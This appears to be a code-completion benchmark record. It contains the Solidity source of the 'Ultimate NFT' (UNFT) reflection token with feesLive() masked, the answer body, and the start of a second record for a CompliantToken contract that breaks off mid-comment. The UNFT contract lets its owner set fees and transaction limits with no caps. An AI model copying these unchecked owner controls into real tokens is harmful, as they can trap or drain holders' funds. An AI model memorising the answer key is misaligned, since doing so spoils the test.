contract UNFT is Context, IERC20, Ownable { //Prepared by Grant Fields using SafeMath for uint256; using Address for address; address payable public marketingAddress = payable(0x379fEDF5DFfA2311a7E2F132FFDdBbA3c149229C); // Marketing Address address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Ultimate NFT"; string private _symbol = "UNFT"; uint8 private _decimals = 9; uint256 private _taxFee; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public marketingDivisor = 3; uint256 public _maxTxAmount = 1000 * 10**6 * 10**9; uint256 private minimumTokensBeforeSwap = 2500000 * 10**9; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public buyBackEnabled = true; event RewardLiquidityProviders(uint256 tokenAmount); event BuyBackEnabledUpdated(bool enabled); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _taxFee = 0; uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!bots[from] && !bots[to]); require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); uint256 leftover; bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) { if (overMinimumTokenBalance) { contractTokenBalance = minimumTokensBeforeSwap.mul(marketingDivisor).div(_liquidityFee); leftover = minimumTokensBeforeSwap - contractTokenBalance; swapTokens(contractTokenBalance); _transfer(address(this), deadAddress, leftover); } } bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint256 transferredBalance = address(this).balance.sub(initialBalance); //Send to Marketing address transferToAddressETH(marketingAddress, transferredBalance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, deadAddress, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function setMarketingDivisor(uint256 divisor) external onlyOwner() { marketingDivisor = divisor; } function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() { minimumTokensBeforeSwap = _minimumTokensBeforeSwap; } function setMarketingAddress(address _marketingAddress) external onlyOwner() { marketingAddress = payable(_marketingAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function feesOff() external onlyOwner { setSwapAndLiquifyEnabled(false); _liquidityFee = 0; } function feesLive() external onlyOwner {<FILL_FUNCTION_BODY> } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } receive() external payable {} }
contract UNFT is Context, IERC20, Ownable { //Prepared by Grant Fields using SafeMath for uint256; using Address for address; address payable public marketingAddress = payable(0x379fEDF5DFfA2311a7E2F132FFDdBbA3c149229C); // Marketing Address address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Ultimate NFT"; string private _symbol = "UNFT"; uint8 private _decimals = 9; uint256 private _taxFee; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public marketingDivisor = 3; uint256 public _maxTxAmount = 1000 * 10**6 * 10**9; uint256 private minimumTokensBeforeSwap = 2500000 * 10**9; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public buyBackEnabled = true; event RewardLiquidityProviders(uint256 tokenAmount); event BuyBackEnabledUpdated(bool enabled); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _taxFee = 0; uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!bots[from] && !bots[to]); require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); uint256 leftover; bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) { if (overMinimumTokenBalance) { contractTokenBalance = minimumTokensBeforeSwap.mul(marketingDivisor).div(_liquidityFee); leftover = minimumTokensBeforeSwap - contractTokenBalance; swapTokens(contractTokenBalance); _transfer(address(this), deadAddress, leftover); } } bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokens(uint256 contractTokenBalance) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(contractTokenBalance); uint256 transferredBalance = address(this).balance.sub(initialBalance); //Send to Marketing address transferToAddressETH(marketingAddress, transferredBalance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, // accept any amount of Tokens path, deadAddress, // Burn address block.timestamp.add(300) ); emit SwapETHForTokens(amount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function setMarketingDivisor(uint256 divisor) external onlyOwner() { marketingDivisor = divisor; } function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() { minimumTokensBeforeSwap = _minimumTokensBeforeSwap; } function setMarketingAddress(address _marketingAddress) external onlyOwner() { marketingAddress = payable(_marketingAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function feesOff() external onlyOwner { setSwapAndLiquifyEnabled(false); _liquidityFee = 0; } <FILL_FUNCTION> function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } receive() external payable {} }
setSwapAndLiquifyEnabled(true); _liquidityFee = 5;
function feesLive() external onlyOwner
function feesLive() external onlyOwner
77,352
CompliantToken
transferFrom
contract CompliantToken is Validator, DetailedERC20, MintableToken { Whitelist public whiteListingContract; struct TransactionStruct { address from; address to; uint256 value; uint256 fee; address spender; } mapping (uint => TransactionStruct) public pendingTransactions; mapping (address => mapping (address => uint256)) public pendingApprovalAmount; uint256 public currentNonce = 0; uint256 public transferFee; address public feeRecipient; modifier checkIsInvestorApproved(address _account) { require(whiteListingContract.isInvestorApproved(_account)); _; } modifier checkIsAddressValid(address _account) { require(_account != address(0)); _; } modifier checkIsValueValid(uint256 _value) { require(_value > 0); _; } /** * event for rejected transfer logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param nonce request recorded at this particular nonce * @param reason reason for rejection */ event TransferRejected( address indexed from, address indexed to, uint256 value, uint256 indexed nonce, uint256 reason ); /** * event for transfer tokens logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param fee fee in tokens */ event TransferWithFee( address indexed from, address indexed to, uint256 value, uint256 fee ); /** * event for transfer/transferFrom request logging * @param from address from which tokens have to be transferred * @param to address to tokens have to be transferred * @param value number of tokens * @param fee fee in tokens * @param spender The address which will spend the tokens * @param nonce request recorded at this particular nonce */ event RecordedPendingTransaction( address indexed from, address indexed to, uint256 value, uint256 fee, address indexed spender, uint256 nonce ); /** * event for whitelist contract update logging * @param _whiteListingContract address of the new whitelist contract */ event WhiteListingContractSet(address indexed _whiteListingContract); /** * event for fee update logging * @param previousFee previous fee * @param newFee new fee */ event FeeSet(uint256 indexed previousFee, uint256 indexed newFee); /** * event for fee recipient update logging * @param previousRecipient address of the old fee recipient * @param newRecipient address of the new fee recipient */ event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient); /** @dev Constructor * @param _owner Token contract owner * @param _name Token name * @param _symbol Token symbol * @param _decimals number of decimals in the token(usually 18) * @param whitelistAddress Ethereum address of the whitelist contract * @param recipient Ethereum address of the fee recipient * @param fee token fee for approving a transfer */ constructor( address _owner, string _name, string _symbol, uint8 _decimals, address whitelistAddress, address recipient, uint256 fee ) public MintableToken(_owner) DetailedERC20(_name, _symbol, _decimals) Validator() { setWhitelistContract(whitelistAddress); setFeeRecipient(recipient); setFee(fee); } /** @dev Updates whitelist contract address * @param whitelistAddress New whitelist contract address */ function setWhitelistContract(address whitelistAddress) public onlyValidator checkIsAddressValid(whitelistAddress) { whiteListingContract = Whitelist(whitelistAddress); emit WhiteListingContractSet(whiteListingContract); } /** @dev Updates token fee for approving a transfer * @param fee New token fee */ function setFee(uint256 fee) public onlyValidator { emit FeeSet(transferFee, fee); transferFee = fee; } /** @dev Updates fee recipient address * @param recipient New whitelist contract address */ function setFeeRecipient(address recipient) public onlyValidator checkIsAddressValid(recipient) { emit FeeRecipientSet(feeRecipient, recipient); feeRecipient = recipient; } /** @dev Updates token name * @param _name New token name */ function updateName(string _name) public onlyOwner { require(bytes(_name).length != 0); name = _name; } /** @dev Updates token symbol * @param _symbol New token name */ function updateSymbol(string _symbol) public onlyOwner { require(bytes(_symbol).length != 0); symbol = _symbol; } /** @dev transfer request * @param _to address to which the tokens have to be transferred * @param _value amount of tokens to be transferred 